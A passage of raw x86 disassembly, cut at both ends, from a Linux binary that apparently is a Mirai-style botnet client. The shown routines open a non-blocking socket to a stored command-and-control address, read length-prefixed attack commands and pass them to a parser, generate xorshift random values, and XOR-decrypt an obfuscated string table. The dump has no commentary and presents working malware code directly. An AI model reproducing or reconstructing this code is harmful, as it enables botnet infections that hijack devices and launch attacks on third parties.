804afa7: 83 c4 10 add $0x10,%esp | |
804afaa: 83 ec 0c sub $0xc,%esp | |
804afad: c7 05 2c f0 04 08 ff movl $0xffffffff,0x804f02c | |
804afb4: ff ff ff | |
804afb7: 6a 01 push $0x1 | |
804afb9: e8 ce 2a 00 00 call 0x804da8c | |
804afbe: 83 c4 10 add $0x10,%esp | |
804afc1: e9 ca fe ff ff jmp 0x804ae90 | |
804afc6: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804afcb: 89 c2 mov %eax,%edx | |
804afcd: 83 e0 1f and $0x1f,%eax | |
804afd0: c1 ea 05 shr $0x5,%edx | |
804afd3: 0f ab 84 94 b0 04 00 bts %eax,0x4b0(%esp,%edx,4) | |
804afda: 00 | |
804afdb: e9 0f ff ff ff jmp 0x804aeef | |
804afe0: 8b 15 2c f0 04 08 mov 0x804f02c,%edx | |
804afe6: 83 fa ff cmp $0xffffffff,%edx | |
804afe9: 0f 84 a1 fe ff ff je 0x804ae90 | |
804afef: 89 d0 mov %edx,%eax | |
804aff1: c1 ea 05 shr $0x5,%edx | |
804aff4: 83 e0 1f and $0x1f,%eax | |
804aff7: 0f a3 84 94 b0 04 00 bt %eax,0x4b0(%esp,%edx,4) | |
804affe: 00 | |
804afff: 0f 92 c0 setb %al | |
804b002: 84 c0 test %al,%al | |
804b004: 0f 84 86 fe ff ff je 0x804ae90 | |
804b00a: 66 c7 84 24 86 05 00 movw $0x0,0x586(%esp) | |
804b011: 00 00 00 | |
804b014: e8 9d 15 00 00 call 0x804c5b6 | |
804b019: 89 c3 mov %eax,%ebx | |
804b01b: c7 00 00 00 00 00 movl $0x0,(%eax) | |
804b021: 68 02 40 00 00 push $0x4002 | |
804b026: 6a 02 push $0x2 | |
804b028: 8d 94 24 8e 05 00 00 lea 0x58e(%esp),%edx | |
804b02f: 52 push %edx | |
804b030: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804b035: 50 push %eax | |
804b036: e8 00 17 00 00 call 0x804c73b | |
804b03b: 83 c4 10 add $0x10,%esp | |
804b03e: 83 f8 ff cmp $0xffffffff,%eax | |
804b041: 0f 84 2c 02 00 00 je 0x804b273 | |
804b047: 85 c0 test %eax,%eax | |
804b049: 74 5d je 0x804b0a8 | |
804b04b: 66 8b 84 24 86 05 00 mov 0x586(%esp),%ax | |
804b052: 00 | |
804b053: 66 85 c0 test %ax,%ax | |
804b056: 0f 84 30 02 00 00 je 0x804b28c | |
804b05c: 66 c1 c8 08 ror $0x8,%ax | |
804b060: 66 3d 00 04 cmp $0x400,%ax | |
804b064: 66 89 84 24 86 05 00 mov %ax,0x586(%esp) | |
804b06b: 00 | |
804b06c: 0f 87 3c 02 00 00 ja 0x804b2ae | |
804b072: 25 ff ff 00 00 and $0xffff,%eax | |
804b077: c7 03 00 00 00 00 movl $0x0,(%ebx) | |
804b07d: 68 02 40 00 00 push $0x4002 | |
804b082: 50 push %eax | |
804b083: 8d 44 24 38 lea 0x38(%esp),%eax | |
804b087: 50 push %eax | |
804b088: 8b 3d 2c f0 04 08 mov 0x804f02c,%edi | |
804b08e: 57 push %edi | |
804b08f: e8 a7 16 00 00 call 0x804c73b | |
804b094: 83 c4 10 add $0x10,%esp | |
804b097: 83 f8 ff cmp $0xffffffff,%eax | |
804b09a: 0f 84 d3 01 00 00 je 0x804b273 | |
804b0a0: 85 c0 test %eax,%eax | |
804b0a2: 0f 85 26 02 00 00 jne 0x804b2ce | |
804b0a8: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804b0ad: 83 f8 ff cmp $0xffffffff,%eax | |
804b0b0: 0f 84 f4 fe ff ff je 0x804afaa | |
804b0b6: 83 ec 0c sub $0xc,%esp | |
804b0b9: 50 push %eax | |
804b0ba: e8 14 10 00 00 call 0x804c0d3 | |
804b0bf: 83 c4 10 add $0x10,%esp | |
804b0c2: e9 e3 fe ff ff jmp 0x804afaa | |
804b0c7: 51 push %ecx | |
804b0c8: 6a 00 push $0x0 | |
804b0ca: 6a 01 push $0x1 | |
804b0cc: 6a 02 push $0x2 | |
804b0ce: e8 4c 17 00 00 call 0x804c81f | |
804b0d3: 83 c4 10 add $0x10,%esp | |
804b0d6: a3 2c f0 04 08 mov %eax,0x804f02c | |
804b0db: 83 f8 ff cmp $0xffffffff,%eax | |
804b0de: 0f 84 e9 fd ff ff je 0x804aecd | |
804b0e4: 52 push %edx | |
804b0e5: 6a 00 push $0x0 | |
804b0e7: 6a 03 push $0x3 | |
804b0e9: 50 push %eax | |
804b0ea: e8 4e 0f 00 00 call 0x804c03d | |
804b0ef: 83 c4 0c add $0xc,%esp | |
804b0f2: 80 cc 08 or $0x8,%ah | |
804b0f5: 50 push %eax | |
804b0f6: 6a 04 push $0x4 | |
804b0f8: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804b0fd: 50 push %eax | |
804b0fe: e8 3a 0f 00 00 call 0x804c03d | |
804b103: a1 30 f0 04 08 mov 0x804f030,%eax | |
804b108: 83 c4 10 add $0x10,%esp | |
804b10b: 85 c0 test %eax,%eax | |
804b10d: 74 02 je 0x804b111 | |
804b10f: ff d0 call *%eax | |
804b111: c6 05 cc f0 04 08 01 movb $0x1,0x804f0cc | |
804b118: 50 push %eax | |
804b119: 6a 10 push $0x10 | |
804b11b: 68 14 f1 04 08 push $0x804f114 | |
804b120: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804b125: 50 push %eax | |
804b126: e8 5c 15 00 00 call 0x804c687 | |
804b12b: 83 c4 10 add $0x10,%esp | |
804b12e: e9 9a fd ff ff jmp 0x804aecd | |
804b133: c7 84 24 7c 05 00 00 movl $0x0,0x57c(%esp) | |
804b13a: 00 00 00 00 | |
804b13e: c7 84 24 80 05 00 00 movl $0x4,0x580(%esp) | |
804b145: 04 00 00 00 | |
804b149: 83 ec 0c sub $0xc,%esp | |
804b14c: 8d 94 24 8c 05 00 00 lea 0x58c(%esp),%edx | |
804b153: 52 push %edx | |
804b154: 8d 84 24 8c 05 00 00 lea 0x58c(%esp),%eax | |
804b15b: 50 push %eax | |
804b15c: 6a 04 push $0x4 | |
804b15e: 6a 01 push $0x1 | |
804b160: 51 push %ecx | |
804b161: e8 77 15 00 00 call 0x804c6dd | |
804b166: 83 c4 20 add $0x20,%esp | |
804b169: 8b 9c 24 7c 05 00 00 mov 0x57c(%esp),%ebx | |
804b170: 85 db test %ebx,%ebx | |
804b172: 74 72 je 0x804b1e6 | |
804b174: 83 ec 0c sub $0xc,%esp | |
804b177: 8b 0d 2c f0 04 08 mov 0x804f02c,%ecx | |
804b17d: 51 push %ecx | |
804b17e: e8 50 0f 00 00 call 0x804c0d3 | |
804b183: c7 05 2c f0 04 08 ff movl $0xffffffff,0x804f02c | |
804b18a: ff ff ff | |
804b18d: e8 be 01 00 00 call 0x804b350 | |
804b192: b9 cd cc cc cc mov $0xcccccccd,%ecx | |
804b197: 5a pop %edx | |
804b198: 89 c3 mov %eax,%ebx | |
804b19a: f7 e1 mul %ecx | |
804b19c: 89 54 24 18 mov %edx,0x18(%esp) | |
804b1a0: 89 44 24 14 mov %eax,0x14(%esp) | |
804b1a4: 8b 54 24 18 mov 0x18(%esp),%edx | |
804b1a8: c1 ea 03 shr $0x3,%edx | |
804b1ab: 8d 14 92 lea (%edx,%edx,4),%edx | |
804b1ae: 01 d2 add %edx,%edx | |
804b1b0: 29 d3 sub %edx,%ebx | |
804b1b2: 8d 43 01 lea 0x1(%ebx),%eax | |
804b1b5: 50 push %eax | |
804b1b6: e8 d1 28 00 00 call 0x804da8c | |
804b1bb: 83 c4 10 add $0x10,%esp | |
804b1be: e9 cd fc ff ff jmp 0x804ae90 | |
804b1c3: 68 00 40 00 00 push $0x4000 | |
804b1c8: 6a 02 push $0x2 | |
804b1ca: 8d 84 24 8e 05 00 00 lea 0x58e(%esp),%eax | |
804b1d1: 50 push %eax | |
804b1d2: 8b 3d 2c f0 04 08 mov 0x804f02c,%edi | |
804b1d8: 57 push %edi | |
804b1d9: e8 90 15 00 00 call 0x804c76e | |
804b1de: 83 c4 10 add $0x10,%esp | |
804b1e1: e9 80 fd ff ff jmp 0x804af66 | |
804b1e6: 83 ec 0c sub $0xc,%esp | |
804b1e9: 8d 94 24 3c 05 00 00 lea 0x53c(%esp),%edx | |
804b1f0: 52 push %edx | |
804b1f1: e8 0a 0a 00 00 call 0x804bc00 | |
804b1f6: 88 84 24 96 05 00 00 mov %al,0x596(%esp) | |
804b1fd: e8 1e 0c 00 00 call 0x804be20 | |
804b202: a3 08 f1 04 08 mov %eax,0x804f108 | |
804b207: 68 00 40 00 00 push $0x4000 | |
804b20c: 6a 04 push $0x4 | |
804b20e: 68 94 e8 04 08 push $0x804e894 | |
804b213: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804b218: 50 push %eax | |
804b219: e8 50 15 00 00 call 0x804c76e | |
804b21e: 83 c4 20 add $0x20,%esp | |
804b221: 68 00 40 00 00 push $0x4000 | |
804b226: 6a 01 push $0x1 | |
804b228: 8d 8c 24 8e 05 00 00 lea 0x58e(%esp),%ecx | |
804b22f: 51 push %ecx | |
804b230: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804b235: 50 push %eax | |
804b236: e8 33 15 00 00 call 0x804c76e | |
804b23b: 8a 84 24 96 05 00 00 mov 0x596(%esp),%al | |
804b242: 83 c4 10 add $0x10,%esp | |
804b245: 84 c0 test %al,%al | |
804b247: 0f 84 43 fc ff ff je 0x804ae90 | |
804b24d: 25 ff 00 00 00 and $0xff,%eax | |
804b252: 68 00 40 00 00 push $0x4000 | |
804b257: 50 push %eax | |
804b258: 8d 84 24 38 05 00 00 lea 0x538(%esp),%eax | |
804b25f: 50 push %eax | |
804b260: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804b265: 50 push %eax | |
804b266: e8 03 15 00 00 call 0x804c76e | |
804b26b: 83 c4 10 add $0x10,%esp | |
804b26e: e9 1d fc ff ff jmp 0x804ae90 | |
804b273: 8b 03 mov (%ebx),%eax | |
804b275: 83 f8 0b cmp $0xb,%eax | |
804b278: 0f 84 12 fc ff ff je 0x804ae90 | |
804b27e: 83 f8 04 cmp $0x4,%eax | |
804b281: 0f 85 21 fe ff ff jne 0x804b0a8 | |
804b287: e9 04 fc ff ff jmp 0x804ae90 | |
804b28c: 68 00 40 00 00 push $0x4000 | |
804b291: 6a 02 push $0x2 | |
804b293: 8d 8c 24 8e 05 00 00 lea 0x58e(%esp),%ecx | |
804b29a: 51 push %ecx | |
804b29b: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804b2a0: 50 push %eax | |
804b2a1: e8 95 14 00 00 call 0x804c73b | |
804b2a6: 83 c4 10 add $0x10,%esp | |
804b2a9: e9 e2 fb ff ff jmp 0x804ae90 | |
804b2ae: 83 ec 0c sub $0xc,%esp | |
804b2b1: a1 2c f0 04 08 mov 0x804f02c,%eax | |
804b2b6: 50 push %eax | |
804b2b7: e8 17 0e 00 00 call 0x804c0d3 | |
804b2bc: 83 c4 10 add $0x10,%esp | |
804b2bf: c7 05 2c f0 04 08 ff movl $0xffffffff,0x804f02c | |
804b2c6: ff ff ff | |
804b2c9: e9 c2 fb ff ff jmp 0x804ae90 | |
804b2ce: 68 00 40 00 00 push $0x4000 | |
804b2d3: 6a 02 push $0x2 | |
804b2d5: 8d 94 24 8e 05 00 00 lea 0x58e(%esp),%edx | |
804b2dc: 52 push %edx | |
804b2dd: 8b 1d 2c f0 04 08 mov 0x804f02c,%ebx | |
804b2e3: 53 push %ebx | |
804b2e4: e8 52 14 00 00 call 0x804c73b | |
804b2e9: 66 8b 84 24 96 05 00 mov 0x596(%esp),%ax | |
804b2f0: 00 | |
804b2f1: 66 c1 c8 08 ror $0x8,%ax | |
804b2f5: 66 89 84 24 96 05 00 mov %ax,0x596(%esp) | |
804b2fc: 00 | |
804b2fd: 25 ff ff 00 00 and $0xffff,%eax | |
804b302: 68 00 40 00 00 push $0x4000 | |
804b307: 50 push %eax | |
804b308: 8d 4c 24 48 lea 0x48(%esp),%ecx | |
804b30c: 51 push %ecx | |
804b30d: 8b 0d 2c f0 04 08 mov 0x804f02c,%ecx | |
804b313: 51 push %ecx | |
804b314: e8 22 14 00 00 call 0x804c73b | |
804b319: 66 8b 84 24 a6 05 00 mov 0x5a6(%esp),%ax | |
804b320: 00 | |
804b321: 83 c4 20 add $0x20,%esp | |
804b324: 66 85 c0 test %ax,%ax | |
804b327: 0f 84 63 fb ff ff je 0x804ae90 | |
804b32d: 25 ff ff 00 00 and $0xffff,%eax | |
804b332: 52 push %edx | |
804b333: 52 push %edx | |
804b334: 50 push %eax | |
804b335: 8d 44 24 3c lea 0x3c(%esp),%eax | |
804b339: 50 push %eax | |
804b33a: e8 11 cf ff ff call 0x8048250 | |
804b33f: 83 c4 10 add $0x10,%esp | |
804b342: e9 49 fb ff ff jmp 0x804ae90 | |
804b347: 90 nop | |
804b348: 90 nop | |
804b349: 90 nop | |
804b34a: 90 nop | |
804b34b: 90 nop | |
804b34c: 90 nop | |
804b34d: 90 nop | |
804b34e: 90 nop | |
804b34f: 90 nop | |
804b350: a1 d0 f0 04 08 mov 0x804f0d0,%eax | |
804b355: 53 push %ebx | |
804b356: 89 c3 mov %eax,%ebx | |
804b358: 8b 15 dc f0 04 08 mov 0x804f0dc,%edx | |
804b35e: c1 e3 0b shl $0xb,%ebx | |
804b361: 89 d1 mov %edx,%ecx | |
804b363: c1 e9 13 shr $0x13,%ecx | |
804b366: 31 c3 xor %eax,%ebx | |
804b368: a1 d4 f0 04 08 mov 0x804f0d4,%eax | |
804b36d: a3 d0 f0 04 08 mov %eax,0x804f0d0 | |
804b372: a1 d8 f0 04 08 mov 0x804f0d8,%eax | |
804b377: a3 d4 f0 04 08 mov %eax,0x804f0d4 | |
804b37c: 89 15 d8 f0 04 08 mov %edx,0x804f0d8 | |
804b382: 89 d8 mov %ebx,%eax | |
804b384: 31 ca xor %ecx,%edx | |
804b386: c1 e8 08 shr $0x8,%eax | |
804b389: 31 d3 xor %edx,%ebx | |
804b38b: 31 d8 xor %ebx,%eax | |
804b38d: 5b pop %ebx | |
804b38e: a3 dc f0 04 08 mov %eax,0x804f0dc | |
804b393: c3 ret | |
804b394: 90 nop | |
804b395: 90 nop | |
804b396: 90 nop | |
804b397: 90 nop | |
804b398: 90 nop | |
804b399: 90 nop | |
804b39a: 90 nop | |
804b39b: 90 nop | |
804b39c: 90 nop | |
804b39d: 90 nop | |
804b39e: 90 nop | |
804b39f: 90 nop | |
804b3a0: 53 push %ebx | |
804b3a1: 83 ec 14 sub $0x14,%esp | |
804b3a4: 6a 00 push $0x0 | |
804b3a6: e8 94 0f 00 00 call 0x804c33f | |
804b3ab: a3 d0 f0 04 08 mov %eax,0x804f0d0 | |
804b3b0: e8 72 0d 00 00 call 0x804c127 | |
804b3b5: 89 c3 mov %eax,%ebx | |
804b3b7: e8 91 0d 00 00 call 0x804c14d | |
804b3bc: 31 c3 xor %eax,%ebx | |
804b3be: 89 1d d4 f0 04 08 mov %ebx,0x804f0d4 | |
804b3c4: e8 f3 11 00 00 call 0x804c5bc | |
804b3c9: 8b 15 d4 f0 04 08 mov 0x804f0d4,%edx | |
804b3cf: a3 d8 f0 04 08 mov %eax,0x804f0d8 | |
804b3d4: 31 d0 xor %edx,%eax | |
804b3d6: a3 dc f0 04 08 mov %eax,0x804f0dc | |
804b3db: 83 c4 18 add $0x18,%esp | |
804b3de: 5b pop %ebx | |
804b3df: c3 ret | |
804b3e0: 55 push %ebp | |
804b3e1: 57 push %edi | |
804b3e2: 56 push %esi | |
804b3e3: 53 push %ebx | |
804b3e4: 83 ec 38 sub $0x38,%esp | |
804b3e7: 8b 5c 24 50 mov 0x50(%esp),%ebx | |
804b3eb: 6a 1c push $0x1c | |
804b3ed: e8 3e 02 00 00 call 0x804b630 | |
804b3f2: 5f pop %edi | |
804b3f3: 5d pop %ebp | |
804b3f4: 6a 00 push $0x0 | |
804b3f6: 6a 1c push $0x1c | |
804b3f8: e8 83 01 00 00 call 0x804b580 | |
804b3fd: 59 pop %ecx | |
804b3fe: 5e pop %esi | |
804b3ff: 50 push %eax | |
804b400: 8d 6c 24 18 lea 0x18(%esp),%ebp | |
804b404: 55 push %ebp | |
804b405: e8 12 12 00 00 call 0x804c61c | |
804b40a: 83 c4 10 add $0x10,%esp | |
804b40d: 85 db test %ebx,%ebx | |
804b40f: 74 68 je 0x804b479 | |
804b411: 8b 74 24 40 mov 0x40(%esp),%esi | |
804b415: 8d 3c 33 lea (%ebx,%esi,1),%edi | |
804b418: a1 d0 f0 04 08 mov 0x804f0d0,%eax | |
804b41d: 83 ec 0c sub $0xc,%esp | |
804b420: 89 c1 mov %eax,%ecx | |
804b422: c1 e1 0b shl $0xb,%ecx | |
804b425: 55 push %ebp | |
804b426: 31 c1 xor %eax,%ecx | |
804b428: a1 d4 f0 04 08 mov 0x804f0d4,%eax | |
804b42d: a3 d0 f0 04 08 mov %eax,0x804f0d0 | |
804b432: a1 d8 f0 04 08 mov 0x804f0d8,%eax | |
804b437: a3 d4 f0 04 08 mov %eax,0x804f0d4 | |
804b43c: a1 dc f0 04 08 mov 0x804f0dc,%eax | |
804b441: 89 c2 mov %eax,%edx | |
804b443: a3 d8 f0 04 08 mov %eax,0x804f0d8 | |
804b448: c1 ea 13 shr $0x13,%edx | |
804b44b: 89 cb mov %ecx,%ebx | |
804b44d: c1 eb 08 shr $0x8,%ebx | |
804b450: 31 d0 xor %edx,%eax | |
804b452: 31 c1 xor %eax,%ecx | |
804b454: 31 cb xor %ecx,%ebx | |
804b456: 89 1d dc f0 04 08 mov %ebx,0x804f0dc | |
804b45c: e8 9f 07 00 00 call 0x804bc00 | |
804b461: 89 c2 mov %eax,%edx | |
804b463: 89 d8 mov %ebx,%eax | |
804b465: 89 d1 mov %edx,%ecx | |
804b467: 31 d2 xor %edx,%edx | |
804b469: f7 f1 div %ecx | |
804b46b: 8a 44 14 1c mov 0x1c(%esp,%edx,1),%al | |
804b46f: 83 c4 10 add $0x10,%esp | |
804b472: 88 06 mov %al,(%esi) | |
804b474: 46 inc %esi | |
804b475: 39 fe cmp %edi,%esi | |
804b477: 75 9f jne 0x804b418 | |
804b479: 83 ec 0c sub $0xc,%esp | |
804b47c: 6a 1c push $0x1c | |
804b47e: e8 2d 01 00 00 call 0x804b5b0 | |
804b483: 83 c4 3c add $0x3c,%esp | |
804b486: 5b pop %ebx | |
804b487: 5e pop %esi | |
804b488: 5f pop %edi | |
804b489: 5d pop %ebp | |
804b48a: c3 ret | |
804b48b: 90 nop | |
804b48c: 90 nop | |
804b48d: 90 nop | |
804b48e: 90 nop | |
804b48f: 90 nop | |
804b490: 55 push %ebp | |
804b491: 57 push %edi | |
804b492: 56 push %esi | |
804b493: 53 push %ebx | |
804b494: 83 ec 04 sub $0x4,%esp | |
804b497: 8b 5c 24 1c mov 0x1c(%esp),%ebx | |
804b49b: 8b 7c 24 18 mov 0x18(%esp),%edi | |
804b49f: 85 db test %ebx,%ebx | |
804b4a1: 0f 8e 8e 00 00 00 jle 0x804b535 | |
804b4a7: a1 d8 f0 04 08 mov 0x804f0d8,%eax | |
804b4ac: 8b 35 dc f0 04 08 mov 0x804f0dc,%esi | |
804b4b2: 89 04 24 mov %eax,(%esp) | |
804b4b5: 8b 2d d4 f0 04 08 mov 0x804f0d4,%ebp | |
804b4bb: a1 d0 f0 04 08 mov 0x804f0d0,%eax | |
804b4c0: eb 2d jmp 0x804b4ef | |
804b4c2: 89 c2 mov %eax,%edx | |
804b4c4: 83 eb 04 sub $0x4,%ebx | |
804b4c7: c1 e2 0b shl $0xb,%edx | |
804b4ca: 31 c2 xor %eax,%edx | |
804b4cc: 89 f0 mov %esi,%eax | |
804b4ce: c1 e8 13 shr $0x13,%eax | |
804b4d1: 89 d1 mov %edx,%ecx | |
804b4d3: c1 e9 08 shr $0x8,%ecx | |
804b4d6: 31 f0 xor %esi,%eax | |
804b4d8: 31 c2 xor %eax,%edx | |
804b4da: 31 d1 xor %edx,%ecx | |
804b4dc: 89 0f mov %ecx,(%edi) | |
804b4de: 83 c7 04 add $0x4,%edi | |
804b4e1: 85 db test %ebx,%ebx | |
804b4e3: 7e 36 jle 0x804b51b | |
804b4e5: 89 e8 mov %ebp,%eax | |
804b4e7: 8b 2c 24 mov (%esp),%ebp | |
804b4ea: 89 34 24 mov %esi,(%esp) | |
804b4ed: 89 ce mov %ecx,%esi | |
804b4ef: 83 fb 03 cmp $0x3,%ebx | |
804b4f2: 7f ce jg 0x804b4c2 | |
804b4f4: 83 fb 01 cmp $0x1,%ebx | |
804b4f7: 74 47 je 0x804b540 | |
804b4f9: 89 c2 mov %eax,%edx | |
804b4fb: 83 eb 02 sub $0x2,%ebx | |
804b4fe: c1 e2 0b shl $0xb,%edx | |
804b501: 31 c2 xor %eax,%edx | |
804b503: 89 f0 mov %esi,%eax | |
804b505: c1 e8 13 shr $0x13,%eax | |
804b508: 89 d1 mov %edx,%ecx | |
804b50a: c1 e9 08 shr $0x8,%ecx | |
804b50d: 31 f0 xor %esi,%eax | |
804b50f: 31 c2 xor %eax,%edx | |
804b511: 31 d1 xor %edx,%ecx | |
804b513: 66 89 0f mov %cx,(%edi) | |
804b516: 83 c7 02 add $0x2,%edi | |
804b519: eb c6 jmp 0x804b4e1 | |
804b51b: 8b 04 24 mov (%esp),%eax | |
804b51e: 89 0d dc f0 04 08 mov %ecx,0x804f0dc | |
804b524: 89 35 d8 f0 04 08 mov %esi,0x804f0d8 | |
804b52a: a3 d4 f0 04 08 mov %eax,0x804f0d4 | |
804b52f: 89 2d d0 f0 04 08 mov %ebp,0x804f0d0 | |
804b535: 58 pop %eax | |
804b536: 5b pop %ebx | |
804b537: 5e pop %esi | |
804b538: 5f pop %edi | |
804b539: 5d pop %ebp | |
804b53a: c3 ret | |
804b53b: 90 nop | |
804b53c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
804b540: 89 c1 mov %eax,%ecx | |
804b542: 89 2d d0 f0 04 08 mov %ebp,0x804f0d0 | |
804b548: c1 e1 0b shl $0xb,%ecx | |
804b54b: 89 35 d8 f0 04 08 mov %esi,0x804f0d8 | |
804b551: 31 c1 xor %eax,%ecx | |
804b553: 8b 04 24 mov (%esp),%eax | |
804b556: a3 d4 f0 04 08 mov %eax,0x804f0d4 | |
804b55b: 89 f0 mov %esi,%eax | |
804b55d: c1 e8 13 shr $0x13,%eax | |
804b560: 89 ca mov %ecx,%edx | |
804b562: c1 ea 08 shr $0x8,%edx | |
804b565: 31 f0 xor %esi,%eax | |
804b567: 31 c1 xor %eax,%ecx | |
804b569: 31 ca xor %ecx,%edx | |
804b56b: 89 15 dc f0 04 08 mov %edx,0x804f0dc | |
804b571: 88 17 mov %dl,(%edi) | |
804b573: 58 pop %eax | |
804b574: 5b pop %ebx | |
804b575: 5e pop %esi | |
804b576: 5f pop %edi | |
804b577: 5d pop %ebp | |
804b578: c3 ret | |
804b579: 90 nop | |
804b57a: 90 nop | |
804b57b: 90 nop | |
804b57c: 90 nop | |
804b57d: 90 nop | |
804b57e: 90 nop | |
804b57f: 90 nop | |
804b580: 8b 44 24 04 mov 0x4(%esp),%eax | |
804b584: 8b 4c 24 08 mov 0x8(%esp),%ecx | |
804b588: 85 c9 test %ecx,%ecx | |
804b58a: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx | |
804b591: 8d 82 40 f1 04 08 lea 0x804f140(%edx),%eax | |
804b597: 74 0a je 0x804b5a3 | |
804b599: 8b 40 04 mov 0x4(%eax),%eax | |
804b59c: 25 ff ff 00 00 and $0xffff,%eax | |
804b5a1: 89 01 mov %eax,(%ecx) | |
804b5a3: 8b 82 40 f1 04 08 mov 0x804f140(%edx),%eax | |
804b5a9: c3 ret | |
804b5aa: 90 nop | |
804b5ab: 90 nop | |
804b5ac: 90 nop | |
804b5ad: 90 nop | |
804b5ae: 90 nop | |
804b5af: 90 nop | |
804b5b0: 55 push %ebp | |
804b5b1: 57 push %edi | |
804b5b2: 56 push %esi | |
804b5b3: 53 push %ebx | |
804b5b4: 83 ec 1c sub $0x1c,%esp | |
804b5b7: 31 c0 xor %eax,%eax | |
804b5b9: 8a 44 24 30 mov 0x30(%esp),%al | |
804b5bd: 8d 0c c5 40 f1 04 08 lea 0x804f140(,%eax,8),%ecx | |
804b5c4: a1 34 f0 04 08 mov 0x804f034,%eax | |
804b5c9: 66 83 79 04 00 cmpw $0x0,0x4(%ecx) | |
804b5ce: 74 4a je 0x804b61a | |
804b5d0: 89 c7 mov %eax,%edi | |
804b5d2: 89 c6 mov %eax,%esi | |
804b5d4: 89 c5 mov %eax,%ebp | |
804b5d6: 31 d2 xor %edx,%edx | |
804b5d8: c1 e8 18 shr $0x18,%eax | |
804b5db: c1 ef 08 shr $0x8,%edi | |
804b5de: 88 04 24 mov %al,(%esp) | |
804b5e1: c1 ee 10 shr $0x10,%esi | |
804b5e4: 8b 19 mov (%ecx),%ebx | |
804b5e6: 89 d0 mov %edx,%eax | |
804b5e8: 01 d8 add %ebx,%eax | |
804b5ea: 89 eb mov %ebp,%ebx | |
804b5ec: 30 18 xor %bl,(%eax) | |
804b5ee: 89 d0 mov %edx,%eax | |
804b5f0: 8b 19 mov (%ecx),%ebx | |
804b5f2: 01 d8 add %ebx,%eax | |
804b5f4: 89 fb mov %edi,%ebx | |
804b5f6: 30 18 xor %bl,(%eax) | |
804b5f8: 89 d0 mov %edx,%eax | |
804b5fa: 8b 19 mov (%ecx),%ebx | |
804b5fc: 01 d8 add %ebx,%eax | |
804b5fe: 89 f3 mov %esi,%ebx | |
804b600: 30 18 xor %bl,(%eax) | |
804b602: 89 d0 mov %edx,%eax | |
804b604: 8b 19 mov (%ecx),%ebx | |
804b606: 42 inc %edx | |
804b607: 01 d8 add %ebx,%eax | |
804b609: 8a 1c 24 mov (%esp),%bl | |
804b60c: 30 18 xor %bl,(%eax) | |
804b60e: 8b 41 04 mov 0x4(%ecx),%eax | |
804b611: 25 ff ff 00 00 and $0xffff,%eax | |
804b616: 39 d0 cmp %edx,%eax | |
804b618: 7f ca jg 0x804b5e4 | |
804b61a: 83 c4 1c add $0x1c,%esp | |
804b61d: 5b pop %ebx | |
804b61e: 5e pop %esi | |
804b61f: 5f pop %edi | |
804b620: 5d pop %ebp | |
804b621: c3 ret | |
804b622: 90 nop | |
804b623: 90 nop | |
804b624: 90 nop | |
804b625: 90 nop | |
804b626: 90 nop | |
804b627: 90 nop | |
804b628: 90 nop | |
804b629: 90 nop | |
804b62a: 90 nop | |
804b62b: 90 nop | |
804b62c: 90 nop | |
804b62d: 90 nop | |
804b62e: 90 nop | |
804b62f: 90 nop | |
804b630: 55 push %ebp | |
804b631: 57 push %edi | |
804b632: 56 push %esi | |
804b633: 53 push %ebx | |
804b634: 83 ec 1c sub $0x1c,%esp | |
804b637: 31 c0 xor %eax,%eax | |
804b639: 8a 44 24 30 mov 0x30(%esp),%al | |
804b63d: 8d 0c c5 40 f1 04 08 lea 0x804f140(,%eax,8),%ecx | |
804b644: a1 34 f0 04 08 mov 0x804f034,%eax | |
804b649: 66 83 79 04 00 cmpw $0x0,0x4(%ecx) | |
804b64e: 74 4a je 0x804b69a | |
804b650: 89 c7 mov %eax,%edi | |
804b652: 89 c6 mov %eax,%esi | |
804b654: 89 c5 mov %eax,%ebp | |
804b656: 31 d2 xor %edx,%edx | |
804b658: c1 e8 18 shr $0x18,%eax | |
804b65b: c1 ef 08 shr $0x8,%edi | |
804b65e: 88 04 24 mov %al,(%esp) | |
804b661: c1 ee 10 shr $0x10,%esi | |
804b664: 8b 19 mov (%ecx),%ebx | |
804b666: 89 d0 mov %edx,%eax | |
804b668: 01 d8 add %ebx,%eax | |
804b66a: 89 eb mov %ebp,%ebx | |
804b66c: 30 18 xor %bl,(%eax) | |
804b66e: 89 d0 mov %edx,%eax | |
804b670: 8b 19 mov (%ecx),%ebx | |
804b672: 01 d8 add %ebx,%eax | |
804b674: 89 fb mov %edi,%ebx | |
804b676: 30 18 xor %bl,(%eax) | |
804b678: 89 d0 mov %edx,%eax | |
804b67a: 8b 19 mov (%ecx),%ebx | |
804b67c: 01 d8 add %ebx,%eax | |
804b67e: 89 f3 mov %esi,%ebx | |
804b680: 30 18 xor %bl,(%eax) | |
804b682: 89 d0 mov %edx,%eax | |
804b684: 8b 19 mov (%ecx),%ebx | |
804b686: 42 inc %edx | |
804b687: 01 d8 add %ebx,%eax | |
804b689: 8a 1c 24 mov (%esp),%bl | |
804b68c: 30 18 xor %bl,(%eax) | |
804b68e: 8b 41 04 mov 0x4(%ecx),%eax | |
804b691: 25 ff ff 00 00 and $0xffff,%eax | |
804b696: 39 d0 cmp %edx,%eax | |
804b698: 7f ca jg 0x804b664 | |
804b69a: 83 c4 1c add $0x1c,%esp | |
804b69d: 5b pop %ebx | |
804b69e: 5e pop %esi | |
804b69f: 5f pop %edi | |
804b6a0: 5d pop %ebp | |
804b6a1: c3 ret | |
804b6a2: 90 nop | |
804b6a3: 90 nop | |
804b6a4: 90 nop | |
804b6a5: 90 nop | |
804b6a6: 90 nop | |
804b6a7: 90 nop | |
804b6a8: 90 nop | |
804b6a9: 90 nop | |
804b6aa: 90 nop | |
804b6ab: 90 nop | |
804b6ac: 90 nop | |
804b6ad: 90 nop | |
804b6ae: 90 nop | |
804b6af: 90 nop | |
804b6b0: 53 push %ebx | |
804b6b1: 83 ec 14 sub $0x14,%esp | |
804b6b4: 6a 02 push $0x2 | |
804b6b6: e8 b5 11 00 00 call 0x804c870 | |
804b6bb: 83 c4 0c add $0xc,%esp | |
804b6be: 89 c3 mov %eax,%ebx | |
804b6c0: 6a 02 push $0x2 | |
